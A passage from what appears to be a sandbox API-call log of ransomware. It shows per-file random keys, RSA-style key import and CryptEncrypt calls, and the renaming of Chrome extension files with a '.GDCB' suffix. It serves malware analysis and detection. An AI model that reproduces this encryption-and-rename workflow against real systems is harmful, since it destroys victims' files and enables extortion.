hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783fc8) returned 1 [0243.764] CryptGetKeyParam (in: hKey=0x6783fc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.764] CryptEncrypt (in: hKey=0x6783fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.764] GetLastError () returned 0x0 [0243.764] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.764] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.767] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784388) returned 1 [0243.767] CryptGetKeyParam (in: hKey=0x6784388, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.767] CryptEncrypt (in: hKey=0x6784388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.767] GetLastError () returned 0x0 [0243.767] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.767] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0243.770] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xbf80000 [0243.773] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xbf90000 [0243.775] ReadFile (in: hFile=0x424, lpBuffer=0xbf90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xbf90000*, lpNumberOfBytesRead=0x285d160*=0xc878, lpOverlapped=0x0) returned 1 [0243.813] VirtualAlloc (lpAddress=0x0, dwSize=0xc880, flAllocationType=0x3000, flProtect=0x4) returned 0xc0a0000 [0243.823] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.gdcb")) returned 0 [0243.826] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.830] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.834] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.834] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.841] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.841] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.842] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.845] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784508) returned 1 [0243.845] CryptGetKeyParam (in: hKey=0x6784508, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.845] CryptEncrypt (in: hKey=0x6784508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.845] GetLastError () returned 0x0 [0243.845] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.845] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.848] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67842c8) returned 1 [0243.848] CryptGetKeyParam (in: hKey=0x67842c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.848] CryptEncrypt (in: hKey=0x67842c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.848] GetLastError () returned 0x0 [0243.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.848] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0243.850] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xbf80000 [0243.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xbf90000 [0243.856] ReadFile (in: hFile=0x424, lpBuffer=0xbf90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xbf90000*, lpNumberOfBytesRead=0x285d160*=0xc26, lpOverlapped=0x0) returned 1 [0243.886] VirtualAlloc (lpAddress=0x0, dwSize=0xc30, flAllocationType=0x3000, flProtect=0x4) returned 0xc0a0000 [0243.893] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.gdcb")) returned 0 [0243.897] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.904] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.904] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.904] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.909] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.909] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.909] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.910] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0243.912] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784148) returned 1 [0243.912] CryptGetKeyParam (in: hKey=0x6784148, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.912] CryptEncrypt (in: hKey=0x6784148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.912] GetLastError () returned 0x0 [0243.912] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.912] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0243.914] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784088) returned 1 [0243.914] CryptGetKeyParam (in: hKey=0x6784088, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.914] CryptEncrypt (in: hKey=0x6784088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.915] GetLastError () returned 0x0 [0243.915] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0243.916] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xbf80000 [0243.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xbf90000 [0243.922] ReadFile (in: hFile=0x424, lpBuffer=0xbf90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xbf90000*, lpNumberOfBytesRead=0x285d160*=0x38a8, lpOverlapped=0x0) returned 1 [0243.966] VirtualAlloc (lpAddress=0x0, dwSize=0x38b0, flAllocationType=0x3000, flProtect=0x4) returned 0xc0a0000 [0243.973] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.gdcb")) returned 0 [0243.974] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.979] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.979] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.979] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.982] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.983] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.984] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0243.986] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784308) returned 1 [0243.986] CryptGetKeyParam (in: hKey=0x6784308, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.986] CryptEncrypt (in: hKey=0x6784308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.986] GetLastError () returned 0x0 [0243.986] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.986] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.988] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784588) returned 1 [0243.988] CryptGetKeyParam (in: hKey=0x6784588, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.988] CryptEncrypt (in: hKey=0x6784588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.989] GetLastError () returned 0x0 [0243.989] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.989] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.990] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.995] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.995] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.995] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.998] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.000] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.001] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.003] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784208) returned 1 [0244.003] CryptGetKeyParam (in: hKey=0x6784208, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.003] CryptEncrypt (in: hKey=0x6784208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.004] GetLastError () returned 0x0 [0244.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.004] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.006] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784348) returned 1 [0244.006] CryptGetKeyParam (in: hKey=0x6784348, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.006] CryptEncrypt (in: hKey=0x6784348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.006] GetLastError () returned 0x0 [0244.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0244.008] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xbfa0000 [0244.010] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xbfb0000 [0244.012] ReadFile (in: hFile=0x424, lpBuffer=0xbfb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xbfb0000*, lpNumberOfBytesRead=0x285d160*=0x8f8, lpOverlapped=0x0) returned 1 [0244.029] VirtualAlloc (lpAddress=0x0, dwSize=0x900, flAllocationType=0x3000, flProtect=0x4) returned 0xc0c0000 [0244.035] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.gdcb")) returned 0 [0244.036] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0244.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.041] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0244.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.042] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.046] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.046] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.048] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784808) returned 1 [0244.048] CryptGetKeyParam (in: hKey=0x6784808, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.048] CryptEncrypt (in: hKey=0x6784808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbf80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.049] GetLastError () returned 0x0 [0244.049] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.049] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.051] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67841c8) returned 1 [0244.051] CryptGetKeyParam (in: hKey=0x67841c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.051] CryptEncrypt (in: hKey=0x67841c8, hHash=0x0, Final=1, 